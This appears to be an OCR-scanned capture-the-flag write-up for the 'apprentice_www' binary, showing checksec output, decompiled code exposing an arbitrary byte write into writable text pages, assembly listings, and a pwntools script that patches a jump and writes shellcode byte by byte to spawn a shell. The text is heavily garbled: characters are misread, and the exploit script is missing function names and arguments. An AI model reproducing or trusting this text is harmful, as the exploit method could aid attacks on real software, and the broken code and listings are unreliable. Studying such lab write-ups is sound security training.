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wby@wby-virtual-machine:~/ ktop/CTF fpwn1 nctf 6-apprentice $ fil

e apprentice www

apprentice www: ELF 32-bit LSB executable, Intel 88386, version 1 (SYSV), dynami

cally linked, interpreter /lib/1ld-, for GNU/Linux 2.6.24, BuildID[shal]=4608ef2a3

Bcfdel7f7fo787f1a078dba6ed38 a, not stripped

wby@wby-virtual-machine:~/ p/CTF/pwnil enctf 2016- ce wS che

cksec apprentice www

[*] Checking for new versions of pwntools
To disable this functionality, set the contents of [home/wby/.pwntools-cache

Jupdate to 'never'.

[*] You have the latest version of Pwntools (3.14.0.dev@)

[*] '/home/wby/Desktop/CTF/pwnl/@x02/0penctf 2016-apprentice www/apprentice www'
Arch: 1386-32-little
RELRO: Partial RELRO
Stack:

NX:
PIE:

log.csdn.net/m0_

DAEE

main

Jint _ cdecl main{int argc, const char **argv, const char **envp)
"
setbuf(stdin, @);
setbuf(stdout, @);
alarm(@x1Eu);
setup((int)main);
return butterflySwag();
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int result; // eax
signed int i; // [esp+18h] [ebp-1@h]

for (1 =0; 1 <= 2; ++1 )
result = mprotect((void *}({i << 12) + (a1 & Ox8048000)), @x1000u, 7);
return result;
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butterflySwag

int butterflySwag()
{
_BYTE *v1; // [esp+18h] [ebp-18h]

unsigned int v2; // [esp+1Ch] [ebp-Ch]

__is0c99 _scanf((const char *)&unk_8048730, &v1);
__is0c99 scanf((const char *)&unk_8048733, &v2);
v2 = (unsigned __ int8)v2;
*vl = v2;
if ( v2 )
{

if ((v2 ==1)

{

¥
else if ( v2 > 4 )

{

puts{"All truly great thoughts are conceived by walking.");

if ((vZ2>9)

puts{"When yvou look into an abyss, the abyss also looks into you.");
else

puts{"He who has a why to live can bear almost any how.");

h

else

{

}
}

else

{

puts{"That which does not kill us makes us stronger.");

h

return 8;

puts{"Without music, life would be a mistake.");

; DATA XREF: butterflySulag+Dto
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.rodata:08048730 unk_8048730 db 25h ;

.rodata:08048731 db 75h ; u

.rodata: 08048732 db 5}

.rodata:08048733 unk_8048733 db 25h ; % ; DATA XREF: butterflySwag+207To
.rodata:08048734 db 64h ; d

.text:0804859D lea eax, [ebp+var_10]

.text:080485A0 mov [esp+4], eax

.text:080485A4 mov dword ptr [esp], offset unk 8048730
.text:080485AB call _isoc99_scanf

.text:080485B0 lea eax, [ebp+var_ (]

.text:08048583 mov [esp+4], eax

.text:080485B7 mov dword ptr [esp], offset unk 8048733
.text:080485BE call _ is0c¢99_scanf

.text:080485C3 mov eax, [ebp+var (]

.text:080485C6 movzx  eax, al




.text:080485C9 mov [ebp+var C], eax

.text:080485CC mov eax, [ebp+var 18]

_text:080485CF mov edx, [ebp+var (]

_text:080485D2 mov [eax], dl

_text:080485D4 mov eax, [ebp+var (]

-text:080485D7 test eax, eax

_text:080485D9 jnz short loc_80485E9

.text:080485DB mov dword ptr [esp], offset s ; "That which does not kill us makes us st".
.text:080485E2 call _puts

.text:080485E7 jmp short loc_8048637
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from pwn import

io process(

shellcode

jnz_param_addr = 0x080485DA

shellcode_addr = 0x080485DB

io.sendline( (jnz_param_addr))

io.sendline( (0xc2))

for i in (shellcode)):
io.sendline( (shellcode addr i))
io.sendline( ( (shellcode[i])))

io.sendline( (jnz_param_addr))
io.sendline( (0x00))

io.interactive()
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